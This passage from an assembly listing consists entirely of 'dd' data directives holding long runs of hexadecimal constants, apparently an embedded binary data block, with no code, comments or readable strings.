9BDDE485h, 0D37C1309h, 0CEDB271Bh, 0E9A6A151h dd 3229479h, 0E54832CDh, 690EBCDBh, 86F73816h, 0A2099B13h dd 76AA5D1Bh, 4678B60Eh, 0B54DB9CAh, 0CADB2E76h, 2E9910F9h dd 0ED6836FCh, 2656C4B2h, 0E31671A7h, 0C5C36E33h, 4FE50676h dd 0EB19385Bh, 0E1897052h, 0BEC76C5Bh, 8A697786h, 1A635D29h dd 8DACD2B0h, 0D52C243Bh, 7CF4BED3h, 40E24125h, 68CA85A5h dd 0F13AEA8Ch, 72AE99F2h, 787ECB1Bh, 1FD34ABEh, 12AD603h dd 690BEBCh, 746CF634h, 5FBB1FE1h, 7D8F98ADh, 4E8B8FB1h dd 324A8EA4h, 0D567D287h, 771FED20h, 0DACE581h, 0BB195D9Fh dd 1ECD66E7h, 0EC5BF14Eh, 0E6D999EFh, 39EFBD43h, 71E3B20Ah dd 22ED318Ch, 63D4C27h, 242919D8h, 938035F0h, 31C8020Fh dd 4CC4F9A9h, 0B168C3F8h, 0CE4F5915h, 0EC964D22h, 31B315EFh dd 19287030h, 913922B5h, 74FE18FAh, 92E6F139h, 0F552E2D7h dd 2A4ACC3Fh, 0C0E42E02h dd 0D86E8854h, 0E6D92B07h, 0B7393721h, 5061A911h, 7A12CF89h dd 0EDE637BEh, 2370FA0Bh, 0B87DD1E0h, 9BF35DB0h, 0BAFE9BEh dd 0F5ABEE19h, 9033EE00h, 729C35E8h, 0A71E9470h, 0A9898FB1h dd 957D2A68h, 5A1FED6Bh, 867E2008h, 1DD78EECh, 0E8D08CFDh dd 0B5D3DE75h, 3C36E0E7h, 2920A3D6h, 5F124834h, 14CD0544h dd 266355C9h, 734620E6h, 36D8015Eh, 354FA034h, 0B1B538EFh dd 0A0246135h, 0DCFC869Eh, 5AEA797Fh, 7396B057h, 378B89E8h dd 19FC7471h, 909B0FCFh, 0C157FA6h, 4CD0F864h, 627864E1h dd 2FD58BF7h, 4B1EFE5Ch, 0D7DD288Ah, 8CBE560Bh, 6653C632h dd 767C0595h, 47517319h, 1B826661h, 9C393F00h, 35FE2A37h dd 3C914A3Ah, 8F2576AEh, 63592E18h, 9EEDABA6h, 0EBDDA480h dd 0D6793E7Eh, 43B68F13h, 0C04A731Dh, 67F5BC99h, 0B7362CD1h dd 5C76E2DFh, 0B5473367h, 70C17DBDh, 505D655Fh, 0D75FD7B5h dd 0AA955491h, 0F7E10CB3h, 0C650035h, 461E2F8Ch, 62CD554h dd 0EE2F80D1h, 816BCB07h, 5191E8ADh, 0C57B747Dh, 1ED0FAB6h dd 0B51BB698h, 863F2F2Eh, 0E2301AEDh, 0FBCE5Eh, 5DEDF986h dd 49C46E88h, 98A71EBCh, 561BD6DDh, 0D95BA339h, 41329BBBh dd 0FE95F575h, 24C1323Ch, 6C12E6Eh, 9ECDAD23h, 501D383Ah dd 44D3439h, 50840589h, 0E46221E2h, 0F75E61Ah, 0C73D7D2Eh dd 28A45A5h, 1B8C684Ch, 8005000h, 9FAC802h, 75A15A40h dd 0C03109CFh, 0F31109CEh, 295F432Fh, 11A2ABA1h, 8FC2D907h dd 12B13D37h, 0ECD031D9h, 620AB5E1h, 5667E838h, 0F29F7A4h dd 0DE37B3D6h, 4690F372h, 1314438Fh, 3C99F395h, 997B50D7h dd 0FE012B85h, 443AD888h, 0A6FDE095h, 27950C5Dh, 0B7B077B7h dd 7D8DE5FBh, 0C05AFF1h, 5E87339Eh, 0E6CE7CEDh, 0FE5BB5A8h dd 2B0B5CCh, 1F4535AAh, 0A49AAD3Fh, 32A612EAh, 0D696DF65h dd 4169989Dh, 8A1638EEh, 7EEC6D43h, 0AAA218AFh, 38E66374h dd 0FA6836F6h, 0A148BB58h, 0BD723A39h, 8F6BD5FDh, 81C91D16h dd 0D0FB6C13h, 66C5FD7Fh, 0FE35339Fh, 101B9F61h, 7DE45A2Eh dd 2FA946CAh, 0F16940D9h, 9279B406h, 783B94CFh, 1B56BE72h dd 63CFA8F6h, 91FC685Ch, 0D7C90BDh, 95291F3Fh, 0AA10E6FAh dd 13CF7F2Fh, 3FF74B5Eh, 4B4DB03Ch, 0E7450712h, 16AE77C6h dd 89BAACC0h, 33F85558h, 3E8C6B73h, 6DD962D4h, 51F210AEh dd 0F7087277h, 713C80Ch, 6DE0370Ah, 0BB02F89Bh, 4DB85F1h dd 29CD7D5Dh, 0EBD6086Ch, 0F5A56863h, 0AF373C9Dh, 27EBEC82h dd 0B792710Ah, 73FC22C9h, 2A0735Ch, 46A22693h, 39F91488h dd 71A47EF6h, 625E64DEh, 5CE943C3h, 790224Dh, 8C990A83h dd 232F36DBh, 2B286245h, 0B721CA2Eh, 3C096EFFh, 146D0220h dd 0D1C64BABh, 8ED4305Dh, 921A6CADh, 0DFF81F37h, 0BEED07D0h dd 0DC189728h, 0E5A7ABA2h, 72EA1AB8h, 0B5EED5F9h, 57007ED3h dd 296967BBh, 6DAE6E5Fh, 559D9869h, 26B84476h, 0CA0A24D1h dd 0DD689D21h, 0E1AB9026h, 0B102B9Ah, 5FF8F0F0h, 817C5405h dd 44479095h, 85A977C2h, 30A67EA5h, 0EEA011DBh, 0CD7B16F3h dd 3F224CBCh, 51470B61h, 0C9B301F0h, 0ECD881A1h, 9864440Eh dd 0B9FE9E73h, 0FB99BFD8h, 29ED820Ch, 88B5A924h, 414A7DA8h dd 84032F2Ah, 353188B6h, 0B0713499h, 5C840626h, 242EE7E5h dd 0BE1AC231h, 34617431h, 4B1623C2h, 752217F8h, 9D2F2AC7h dd 761874B9h, 0F10D201h, 7F920730h, 7F66A6CFh, 9F9EA693h dd 5EBA0F00h, 28850323h, 6FCB04DCh, 2FC93AAFh, 33A08BB9h dd 7D22E66Ch, 574763BEh, 715F229Eh, 7DE68D84h, 81AD619Bh dd 2EB4F422h, 7C74A3FCh, 45ADAD1Fh, 738A2129h, 416F7E96h dd 8458801Fh, 5788EC3Ah, 1EEFC45Ch, 2A61B120h, 8BC3CE12h dd 268F4A27h, 3A0C943Eh, 896608B5h, 0F19F7FD5h, 0EFDBAF15h dd 4209B50Dh, 0FB946D16h, 0A4E88511h, 8D3EFA89h, 0FCEE7C9Fh dd 0AE85BB33h, 0AE594647h, 4B2CE632h, 0E363568Fh, 0C9749837h dd 13AC30DCh, 630B263Fh, 842F284Bh, 0A42CE20h, 3BD25498h dd 13DC1A02h, 121D028Ah, 32D81E89h, 1F538431h, 0A77A862h dd 218B010Dh, 0B93BA63Dh, 0C3CA7258h, 91B877FDh, 0CC2B3581h dd 2A6A0044h, 851D7B4Ch, 0F1F44A46h, 0C67B422Eh, 0DF4F1BF2h dd 0A99C06F6h, 6FEC9E04h, 8628CFC9h, 99B2BDAEh, 0C083D0h dd 1E78EC9Ch, 6803C7F9h, 8CF7B52h, 0D6A76BC6h, 6F45395Ah dd 5C6F3D77h, 0EE0C2C04h, 7ED74248h, 0CEBD278Eh, 9D0829C6h dd 23377807h, 30C17508h, 0DD693FE0h, 0BFCE63Bh, 4DA85640h dd 0CAE6358Ah, 97617D13h, 732B1CA8h, 0FF1D7DCFh, 0CDB38C23h dd 0A1CEA71Eh, 0F28DE42Eh, 668DE95Eh, 0C95DDA50h, 74B2433Dh dd 27B4B29Ch, 0FBB61094h, 15A4B14Eh, 0BA4ADF47h, 45D4352Fh dd 0A61A3B71h, 0D1F0DED6h, 0C5757AE1h, 0DBD4E39Ch, 94BF4522h dd 734B6DCFh, 92355BA5h, 4A2E41E0h, 0BDEBC2D0h, 9CDF5F20h dd 0BC148C1Eh, 2113E19Dh, 31B6213Bh, 33AB649Ch, 4E5B6FCAh dd 70364Dh, 0AE989503h, 0DA8045DBh, 0DD0610D8h, 1D0D0F77h dd 7575FAA9h, 0DEE5DB84h, 5EE77510h, 961D6375h, 0AC5A1E05h dd 0D154CA2Ah, 3001B2Ch, 0D0A1CBE9h, 2242BBBCh, 52DBD22Ah dd 36E2ECE4h, 0A94C9936h, 0FDCA58F3h, 2394312h, 0E034AFD3h dd 140ED122h, 27BD31Bh, 0C2BCF97Fh, 0A6C7E344h, 0C348C05h dd 19584246h, 0D2746EDAh, 3A9CD8AEh, 0AD6F60A4h, 4E1B7EE9h dd 4D1197D4h, 0AD6278D0h, 99FBACC5h, 0B07022E0h, 9C6520ECh dd 4A607E04h, 0B2A3E831h, 7CF26D0Ch, 0BA2F2A99h, 5F939113h dd 0F10BD84Ch, 499030F5h, 318C78D7h, 1BAC16C5h, 0D345CBE7h dd 0B821E9EAh, 0ECE98FBh, 51137C75h, 260FB7B9h, 326F0716h dd 29A023F7h, 4355A5BAh, 276727C9h, 886789E2h, 0A9D7E434h dd 3AEA993Bh, 0F3D9D61Bh, 0C84BC66Dh, 0A0E347D4h, 213F700h dd 53147AC9h, 910E2160h, 4F77BD84h, 57409C31h, 9F05FFDCh dd 0E8A1D09h, 0B9E0875Ch, 32627B75h, 2E46DC87h, 918F9386h dd 76A720F6h, 0F5F7C236h, 75987404h, 0C64D0A60h, 0BE4520ECh dd 0FBA424BEh, 5FA853AAh, 4CD14DB8h, 5C5646B9h, 0EE6DCD63h dd 7B25F74h, 0ED04CB72h, 95C3C506h, 6544725Eh, 0CB9131CBh dd 0B7AB7B20h, 1E2EC587h, 4490374Bh, 0B149DCEDh, 0DCA8F284h dd 589EA840h, 0DEBB307Bh, 18DE1902h, 0C0431222h, 44428048h dd 1BB885B6h, 336BC112h, 3314CC23h, 0C710B17Ch, 0C4823C32h dd 528DAA1Bh, 0A0A43056h, 7CBBEA1Ch, 75904DB6h, 0D987DE07h dd 0A5DF24D9h, 342315CAh, 65F70EF8h, 1FC514CFh, 0EB7C97A8h dd 0FFF98847h, 5FF072C4h, 1F05E4h, 6EDA329Ah, 8B4ED32Eh dd 83C721A9h, 0B77837Ah, 0AAD590F1h, 9CD4304Bh, 0AA309B9Bh dd 83EE6B5h, 691C167Ah, 25B22EC2h, 0D86D1BF2h, 20517BCBh dd 0FC9CD2C2h, 0D9118D0Dh, 0CE2FEDA5h, 17CCF0EDh, 0DF7F05EDh dd 0BD85B796h, 42487E3Ch, 0AE93031Ah, 0BD0BDF6Fh, 0AB2048A4h dd 380B6B8Bh, 0AA4437B0h, 81BE71A0h, 6329DBAh, 0F043133Bh dd 75364F6Eh, 0DEC87FD5h, 0D5E25D5Dh, 4FC4FFCBh, 4A35C14Ch dd 38665887h, 0FB93C8D0h, 2D760E9Fh, 7D904Bh, 0DB063C03h dd 80FE0B5Bh, 0BC4E9DC5h, 3EB795C8h, 0DA284Ch, 0B993EE12h dd 960917Ch, 0D04DFFCBh, 81BF3B5Bh, 0F345FAA1h, 710C5F8h dd 0E254B53Dh, 3F30AA18h, 0E41B1971h, 7D3A2E5h, 0CD7E2ABCh dd 25FBA72Ch, 59855C7Ah dd 70D9D0DDh, 0C6C0E499h, 151F5395h, 32FCED4Eh, 0E581A316h dd 1E4221B5h, 58BCCE89h, 0E1887D46h, 0CE755A9Eh, 7738FF0Fh dd 0BEDBE102h, 926A2487h, 56312F5h, 0B250B889h, 0A00251F5h dd 145A1D3h, 0BBEFBE2Dh, 0E0D61411h, 0F7370959h, 969DF661h dd 37D8778Eh, 0D6C60F44h, 7B54CF34h, 6A5F029h, 4093310Fh dd 2D86C86Dh, 0BD372510h, 0BBE3A7D1h, 0CB506F85h, 0F222E8B6h dd 8AD49D04h, 0F2A814B7h, 0ABDF2941h, 0F02B652h, 9393E47Dh dd 0E2E0ABh, 417EE68h, 9CC62A03h, 8E4D97B1h, 0D28C4A9Ch dd 0C7286A65h, 0B90FA13Ch, 0BDE0AE55h, 5BC342CEh, 0AD7E2DB9h dd 1256B34h, 12B75B4Ch, 8CDEE98h, 0B76067D1h, 57B04AABh dd 5F9D6E0Bh, 0E83EFF4Ch, 0C6EC0452h, 4C1BFB1Ah, 0D72AC433h dd 54A0837h, 86950A32h, 92A136D2h, 0BACAD3F6h, 2AACEEC3h dd 9E010B1Ch, 8F8EA288h, 903A1E7Ch, 0AB7DC498h, 7B411F46h dd 0EB592553h, 485F45AAh, 0A0C96139h, 5CC89487h, 0B042920Ah dd 0CFDDBC2Eh, 708BE4FBh, 6E77985Bh, 0E7461D2h, 0E8C0BE29h dd 2BBCCF57h, 0BAEA8111h, 496E5256h, 5D15091Eh, 0FDDB7DDFh dd 95E70D8Ch, 0C13911F1h, 1539C3ABh, 4AF8857h, 6D8A5CF1h dd 8F8787ADh, 0A89A22D7h, 646086EFh, 6A2922D1h, 48547F1Bh dd 0CAAC81D4h, 0DE4C1E75h, 6C0C3264h, 6FFD87F4h, 58EE6ACDh dd 0F50AC987h, 17DEC755h, 862B0202h, 389C285h, 123056D5h dd 4CFB614Fh, 9550FF67h, 0BAFFD89Ch, 2274616h, 5B20EE0Ah dd 4ED4EACDh, 0A5A3ACA9h, 978F0608h, 7D7C5CC0h, 0C4984995h dd 0E3112755h, 5467894h, 4279D83h, 0FC68559Ah, 4C9BFD4Ch dd 9CC4CC95h, 0F77EC4C6h, 0B7288632h, 6036A6C8h, 0C95AD067h dd 86FA31B2h, 80C2A68Ch, 0F93B412Bh, 34C6E913h, 0A3166982h dd 3593AE28h, 9C74FD77h, 7BC72D3h, 0EDFB804Ah, 759FDAAEh dd 47CFC974h, 45345ACCh, 2A60DDB2h, 1717A72Ah, 3E3CC8F1h dd 50B8D5CFh, 0A7B89150h, 3215FDD4h, 0DEB61474h, 8F235DB4h dd 240C8E0Fh, 0A201D992h, 0CD46F3C2h, 0FA3C539Eh, 0CBE961BAh dd 27AB41ACh, 42C29B23h, 48ED5FC3h, 0A82C4399h, 0CF21CEE1h dd 2FF5514Ah, 0E7E4B0A9h, 0BA950007h, 86CCEC9Ah, 0A59218DAh dd 0D2A7C1EDh, 0E52197F5h, 239B93E4h, 0E9022F67h, 539DF4E7h dd 6F584D56h, 0B2B9D84Ah, 13F56497h, 0BEC721F7h, 90025A00h dd 0E9DD24DDh, 9F635F2Ah, 1DD1F3C5h, 77C1FDC4h, 39A67B8h dd 4DDB494Ah, 0C24B1FB4h, 2B0F8D3Ch, 0A52A28B0h, 0BD0B9B8Dh dd 2A321C87h, 255379FEh, 0C2C17A74h, 1DE03825h, 31415EE6h dd 8436F19h, 0F4D53C3Bh, 0C1B94114h, 8A5BC3AAh, 9E8F63B0h dd 1A008152h, 3E482552h, 68959AAFh, 32EC1A85h, 0D42DF284h dd 2E3ACCB7h, 54127B16h, 0B7A8D449h, 0B68E33CBh, 5A62F4E2h dd 43496ACCh, 0D2E84266h, 0C4F9310Eh, 0F821DFB0h, 0A259062h dd 23A809CCh, 0E441D013h, 0B2FB34ABh, 0ADD16628h, 4DA7B546h dd 9F3D0008h, 0BA0FFB10h, 4FADC9B3h, 0A7C07A85h, 674978EEh dd 18510C18h, 236D1779h, 0BFAB03A6h, 0F381C758h, 495B37BAh dd 57CF380h, 0AB25F35Bh, 0E69A530Dh, 0FFCCD00Bh, 3528D382h dd 946DB2CFh, 301F39CEh, 0F5D1C4D9h, 0DB1BB480h, 9C9C125Dh dd 0D3F0C1E8h, 8057003Ch, 0C8378825h, 1FB81C21h, 0C584F496h dd 4B4678CAh, 0C06A4B87h, 101BE753h, 223F8590h, 0F77380D9h dd 0B4C30835h, 6BE1821Dh, 72000CA9h, 5D0FC9F8h, 7F56A18Dh dd 8E783981h, 3C477FF5h, 1A29A269h, 0E4FB451h, 65CC46D2h dd 94843B86h, 79B885F4h, 0EB0F98F9h, 89C1D85Ch, 8CE7498Ch dd 7CEF3DB3h, 5B4B3067h, 8FCED6CDh, 8B2D6227h, 0A499B32Bh dd 0E0F18D56h, 5703CAD3h, 4B4A8143h, 4A28BE15h, 0BA53C64Ch dd 8F389969h, 0C218349Bh, 435929D9h, 800C390Eh, 7A71F707h dd 2E7C1EFEh, 0E2461066h, 6B478530h, 13EE5D9Bh, 0D93AAA03h dd 1E35C4CFh, 50AEF7C5h, 0F06C2A9Ah, 0F1C0CB9Ch, 78BDD1A8h dd 516A4A39h, 0DA017221h, 0F420C19Ch, 0E2288455h, 0A6492725h dd 0C2CDB616h, 0DD206A84h, 0CB116D2Eh, 8EACDBFh, 9D4528E0h dd 0F9CC1C07h, 3AB66536h, 0B23B690Dh, 0AC2E4956h, 3FD83E20h dd 57F44EABh, 549B5795h, 8CA3027Ch, 95469F46h, 537F2EE3h dd 66B210F1h, 1F09AED3h, 0A7B883C4h, 6DFE93Bh, 47308CBBh dd 7BC1270Eh, 8BE7548Fh, 520FD5D1h, 31A36FBFh, 41BB1641h dd 522ACEF2h, 45B6E4A1h, 8228818Eh, 0EB7E3453h, 9D143021h dd 0A21E48BCh, 420ABC9Eh, 161A68A7h, 0B8C890F1h, 0B1B17B85h dd 14E285F2h, 47B8F1h, 4ABD0582h, 0B0480720h, 0FB262371h dd 392458EBh, 898A6D29h, 0D8A861CAh, 599A3C5Eh, 8721E9BCh dd 2B9057ADh, 1BADF596h, 0C635ABE3h, 0F335E622h, 8723E5E2h dd 0B186E1A7h, 0EF4C2AA0h, 882299D4h, 351C769h, 3645BF10h dd 7363B79Dh, 787A5A0Fh, 129A0668h, 2601D3CFh, 0DB1777F6h dd 8D7A754Ch, 8829A50Fh, 31509947h, 0ADE21EBDh, 78989679h dd 102DD1Dh, 0D0CE1414h, 0C5061FEh, 35A579CFh, 0D8702ED7h dd 5D3D4994h, 0EB3C39C0h, 0DAD297D5h, 21F11354h, 0F69A2684h dd 6332CA19h, 0A5B2DF7h, 0D0F1A3EAh, 95F59F93h, 3F921758h dd 7B83361Ch, 2346A256h, 2DB07C7Ah, 2945AEFDh, 0E85FB8D0h dd 0FA858556h, 55376F52h, 30264B68h, 0F7B28DCEh, 0EA5E825Bh dd 0D9E42BF8h, 0F46D5211h, 0DA6E4682h, 6E1946Ah, 4C5FFA56h dd 9F554344h, 46CC515h, 182BA1EBh, 84C5910Ch, 7859BE0Bh dd 4F4C26D9h, 201228D9h, 0A2B19B2Fh, 0F8C8B9E8h, 0EBA203A3h dd 0B8407AF5h, 8A809B39h, 0DBD59F61h, 105D3080h, 44703DCFh dd 0EC4837E0h, 48FB3132h, 78F92BDh, 0A44179B9h, 0B61B2D2Dh dd 0BB8248E3h, 74DAE7C1h, 7A74A366h, 83B5A54Fh, 7BC5CA2Ah dd 0E6B1C64h, 0B92A3DDAh, 0F3261253h, 0AD1B1822h, 0DA87EBD5h dd 0C6159BE9h, 97C79A0Bh, 45802407h, 283B4432h, 0B484D911h dd 0D0125268h, 6F190401h, 0E613A1EFh, 0B0092FC7h, 8465AC95h dd 57680F31h, 18722E4Eh, 0A8B1A60Bh, 2C2EE264h, 8BCCAE95h dd 352F8D0Eh, 0DACA19Bh, 101F3FC6h, 88CEE24h, 0A726A273h dd 7D1A6B46h, 9571CFB3h, 4C316DCAh, 705ECBD4h, 0E7D1AE45h dd 0E3BC96F8h, 1918C677h, 0F0A1BDC4h, 0FFD54627h, 6F802FA1h dd 0E8F4B18Fh, 0A3EED52Eh, 0C7CCBDBDh, 0E6656565h, 6B021A6h dd 1AEE6F75h, 16D41448h, 0E39942C7h, 7BC09DC7h, 96ADCE3Bh dd 1977526Bh, 0CD28A21Bh, 0EE42783Bh, 46FED7F3h, 1954077Eh dd 50C0946Ch, 0EA8E27Eh, 0F1401F51h, 1CC300A5h, 4A15802Eh dd 0A9C169F0h, 0B43390E5h, 0D64669F6h, 0D1FC07ECh, 61E3306Eh dd 8CCE6A01h, 61855FC1h, 737397B1h, 0AFE30F1Bh, 6E41CFEFh dd 7EA05996h, 0BC25471Eh, 57A8E8F9h, 0FBD40340h, 6CBBD82Ch dd 0BD822698h, 5E6F6B3Bh, 87116BB2h, 0AE610AC1h, 5008F82Ah dd 5A5DCEF4h, 0D78941BAh, 0CE3F7017h, 0A3A4B15Fh, 0ABE3C0A2h dd 0B8952842h, 5A9E3D01h, 7DAAA243h, 68A1ABB3h, 0B63EFFDEh dd 2F21B17h, 75692282h, 5AA1C53Bh, 0FD50DB30h, 1C99740Bh dd 0BDA308A9h, 0E068DACBh, 8A9E7967h, 501363CDh, 4DA04009h dd 9B25FED3h, 51F516EEh, 88591F4Bh, 85F5228h, 0E03C8D50h dd 3BE26EC0h, 3EC0E3CEh, 2BD4C516h, 7FCDE2E2h, 326CCD06h dd 5804D77Ah, 6567305Ch, 94020154h, 12110ABAh, 86726211h dd 578CFC06h, 0DFE77773h dd 0D5436C78h, 416D860h, 3486D2C2h, 0B3A1A14h, 6B0CFA29h dd 165C3972h, 45FE7AB0h, 325EE16Dh, 58B93E9h, 0ECE77A3Bh dd 0BFE37627h, 0BCB5FD4h, 5B4A8C3h, 0AAF7FB3Eh, 0D910D2F5h dd 0C41A01E3h, 0DA16C342h, 9F5B14B5h, 51803EE0h, 0F4F9BC1Bh dd 0CF2363Dh, 14F43029h, 0B148E26Bh, 3B02CAFCh, 0DEE9DC4Ah dd 33564B2Bh, 0DFCB7806h, 0A886CC27h, 0E62751E7h, 0EEA6981Eh dd 4D0101A3h, 92BEF79h, 0D4B12573h, 9789E755h, 0BC8D0A55h dd 587600F2h, 0D947BF5Eh, 0C17E627Fh, 0CFFDD5C5h, 8D5FDB9Ch dd 0F948E4E6h, 0B1A90EF6h, 45D7E490h, 191900EEh, 376A68BEh dd 0B3A0CCA2h, 5FDE2DFDh, 7664BA18h, 4627453Dh, 37FDE835h dd 518D90Ch, 7659B9C5h, 1BEAFDD0h, 8B06A89Ah, 2D957817h dd 0C69417F3h, 0D6B286BBh, 0FFBFE6B9h, 0BF71CC7h, 0ED261FE6h dd 0D01B6694h, 1769FC37h, 26F79AB5h, 0E87D836Ch, 0D76EC768h dd 130C7E3h, 0CD900471h, 38F2E52Eh, 3C0B0191h, 13799CAAh dd 0CF331F39h, 866CB921h, 31E2C016h, 0EF402D78h, 6729F5ACh dd 0A48BB0BFh, 0C661106h, 0F2FCBCD6h, 99EB3ED8h, 0A2D2B217h dd 1FED4CF5h, 0B3763341h, 43FC3DABh, 5C1F85ECh, 90777F13h dd 39C324D0h, 44700C7Ah, 0C9C160FDh, 41E61CBDh, 22DF5FF2h dd 876B79C3h, 0E7A20150h, 8CF13326h, 3368FED7h, 0E6A85F88h dd 0EBB8B763h, 82E40BA2h, 44595160h, 95EEED53h, 5166AE21h dd 0E3BDA91Ah, 51B4A512h, 19083FC9h, 0A76728D4h, 970BF516h dd 4A551E5Eh, 0F2F45BCh, 0E5E27FFAh, 2065AC8Ah, 84AD8DADh dd 232629D8h, 0CED51F95h, 0E16C91B6h, 54F0777Fh, 73998A4Dh dd 688F3493h, 1FDE46C5h, 99547D41h, 0BA2C6386h, 0DB26743Bh dd 2C7EF48Eh, 0AE92615Dh, 2E80E476h, 107A0F27h, 0BC2DB677h dd 5E3C2F60h, 5E56A4CFh, 73C994DFh, 0AFFA1723h, 2348845Ch dd 0B55E608Ch, 4D67AEA3h, 0F3D9F4BFh, 4AAF2BF5h, 23FF5111h dd 366FB2B9h, 0DB135348h, 869DCF39h, 1D229DEFh, 365CE756h dd 7670EECh, 270BA7AFh, 3237D903h, 0C07D0435h, 31A94AA5h dd 4A06539Ch, 0B7E3B82Dh, 0C54771FCh, 0D3DEC0D1h, 75FC3BEAh dd 285A47EAh, 45699596h, 97EC35ADh, 2CFD0269h, 3328AC14h dd 0BECC1DDDh, 0C86FD80Dh, 0B08CD613h, 72DDAFB6h, 565CED9Dh dd 51BDC4E4h, 7D44CD91h, 0A745E497h, 0EB1A1976h, 7D3B5832h dd 17A207C6h, 0B86A5BDCh, 61A794C8h, 28882C7Bh, 41E243A5h dd 0E94E2F28h, 80D11F7Bh, 27AE5DC5h, 626E2602h, 0B36D4FC4h dd 0CF21BC7Eh, 97F400A8h, 6F33482Fh, 7A5FAAB2h, 0CEA1FC0Fh dd 2284D540h, 0C45F2B02h, 0FDD2A805h, 0FAC3A3DCh, 0BD6C03FBh dd 4D0AABDAh, 3EE0E96Dh, 54A21F45h, 7693F0AAh, 73E99915h dd 9D1DCE1Dh, 0A63E003Fh, 0B2CA1AAFh, 27A6697Fh, 7E183398h dd 712C0270h, 0F5133CDAh, 0C5694D4Dh, 0E2FDFAFFh, 0C7240F5Eh dd 6610317Bh, 8D2082A9h, 84BBD841h, 0E0038A1Dh, 0AA671DEh dd 0B5B428F2h, 4949C4EBh, 50803AAh, 41E81C59h, 0BFBA8D2Dh dd 4475B8D7h, 0C58D2A44h, 56AEBEE9h, 0BD0F5C05h, 56D2EE9Eh dd 82AC3E37h, 95607C81h, 0BBC7B244h, 6CB7C682h, 778AC50Bh dd 0D9674F09h, 54CE944Fh, 0CF97CF90h, 5C88A29Ch, 440B2BAh dd 677F96B3h, 0E29D444Eh, 0CD30067Ah, 0D7772BE6h, 7BBDC037h dd 0FA7463ABh, 0A83A0D6Ch, 0CC378A56h, 20A01A3Eh, 1C464BB2h dd 255F9F69h, 43A7D2D5h, 1DF7A7Dh, 0A7206920h, 0C7B969C9h dd 663E9C83h, 8A2D23D6h, 4A3C9451h, 0EE0BADE1h, 4E0039EEh dd 736FFBA6h, 0B0AB6B8Bh, 0B27A8855h, 0FBF9DD75h, 6F1FB610h dd 0D101FBE5h, 0E685DF08h, 3CE46024h, 371EAA5Ch, 420F2305h dd 47AD4B02h, 137E42C1h, 30796AECh, 63E91CBCh, 761A2852h dd 1CA3DD80h, 3C1E726Ch, 0BDBA2CBEh, 0FD562567h, 2D3B04D8h dd 22C6392h, 4419B760h, 5ACA9158h, 0DF30DBDFh, 160EA47Eh dd 4D00D2D3h, 0A67E7EC5h, 0F397DD00h, 0FB2E91E8h, 0F86A68E8h dd 0AF3A6C94h, 859C0E3Ah, 53FD2B3Bh, 0B142C49Ch, 56C6BA2Ch dd 4466CAAh, 115616FDh, 0E43F2032h, 67428D3Ah, 959B7729h dd 0DCA74930h, 75A3C900h, 4A5D8541h, 0E32BD2EFh, 0DB5ECE7Fh dd 7DECE8AFh, 2CF49D21h, 0A7971BA1h, 1ABB1F9Fh, 17D1940h dd 0E52B3D89h, 8633456Ah, 92162F83h, 0A4E5FBB3h, 0A3D17B8Ah dd 53DB289Bh, 0C394B80Eh, 4756B1D3h, 762FBE38h, 0E9E0E5B8h dd 0C2349763h, 1C512EBEh, 0F922FC0Dh, 5F6CCEAEh, 633F4AE3h dd 1249E27Bh, 0A72A1084h, 6BAE5DDDh, 0FB57CCBDh, 3A959BF8h dd 7A10C811h, 809845D4h, 0CA3EBA09h, 3023FEBDh, 4C545E2Eh dd 896142B9h, 0CF5FCAB5h, 4A3762F5h, 634F4B5Dh, 88A234CAh dd 83DAA428h, 43BA189Fh, 0DC0D23D2h, 8C5B9BFBh, 2B294871h dd 347144EAh, 660C5871h, 0DEBF9148h, 9C692EB4h, 6CA7958Eh dd 0CDADD7E9h, 8036A04Ch, 0B570BD4h, 0A5FBFD2h, 3CE96F55h dd 9ADE594Ah, 0EB3675A1h, 78EEFDBAh, 0B0B9E8B4h, 5D2952C1h dd 1CF9ABAh, 0CDFF2E7Ah, 7C25D949h, 6738670Bh, 0ED1433BCh dd 0B63150ACh, 0DA45AABAh, 0EC040115h, 624D46EAh, 6CF97FCCh dd 0E6B15778h, 9849C716h, 9425EAA1h, 0B6B67A59h, 6B2B9FF7h dd 5D75A909h, 497D67F8h, 6A274043h, 540BEE70h, 6A3DB765h dd 337CA7DBh, 69FC119Eh, 43B1CB23h, 0CEB33CDFh, 4AA79893h dd 0B7F12826h, 0D5C588Fh, 3AE1BF7Dh, 25D2F0E3h, 0C0941AE1h dd 0CE2AC335h, 0EED1EDACh, 0DFE69B96h, 6C91643Ah, 0C7D4DFAFh dd 0CDCB1D86h, 3E7D9CF8h, 7D7CB17Ch, 95F15773h, 2A309327h dd 525D205Fh, 0BEB5284h, 0A67A7517h, 242CF084h, 0FC71E256h dd 8E24D54Ch, 1EA0F5D3h, 15C12663h, 18A71BBh, 40B7BBA6h dd 4B7C8860h, 0F45AF8F9h, 0D418488Ah, 53A68AD6h, 7CB47290h dd 0DA28AD8Ch, 92735E9Ah, 2E66D6F4h, 9B2ADE3Ch, 0EB66BF4Eh dd 0BCB2A964h, 0C5653EDAh, 547EDF9h, 0A73E20EAh, 6A538CE4h dd 0CFB62171h, 9178916Ah, 4BDC0F0Ah, 89431488h, 0B7786245h dd 4B991F17h, 5818A320h, 17FF08F5h, 76312B32h, 0CD17EB41h dd 8899C489h, 49189DFCh, 0BC26950h, 0F74B6A6Bh, 29232F78h dd 6CB4FD9Ah, 751E79B6h, 0F9262B0h, 5A0F1DE0h, 337720AAh dd 29E803B1h, 7ACB4884h, 0DD1E03E1h, 25A67B2Dh, 79741788h dd 9D97D3B4h, 7D692D80h, 2CC16BAAh, 953AECCDh, 4DBAB9BAh dd 1B82CB96h, 13852D29h, 0AC27646Bh, 0CD1DE826h, 358E1AC4h dd 482CBC49h, 0F9F333CFh, 2365411Ah, 1818FACAh, 533D4367h dd 38AABF2Fh, 0AA6F43C7h, 0E945EEF4h, 35AB54E5h, 14E59318h dd 105A7C7Ah, 8FE4A482h, 8A687559h, 1C421A5Bh, 0E7243931h dd 87FF08A8h, 0AF5EC990h, 0A28114FDh, 4CBC53BAh, 45393681h dd 0E4C91759h, 27CBA171h, 68EB1CB1h, 0FDD5735Ah, 0CB31BAB6h dd 8BF5BBA7h, 775410AFh, 62F626BAh, 0F5D639CEh, 0C578B325h dd 0BF4C12DFh, 1F0B6CD0h, 0D7A4977Fh, 54626CB5h, 0B9554082h dd 0F2E95D45h, 0EE370EBEh, 17A4E454h, 2663D390h, 139C5E73h dd 4C97BD68h, 9B74D9BEh, 84038575h, 3FFCEDEEh, 0E470E805h dd 3C2B1FDBh, 0E915F908h, 988FD485h, 0C277F0EDh, 2D651488h dd 9CB82091h, 0F6DAAD53h, 0A08AF4A6h, 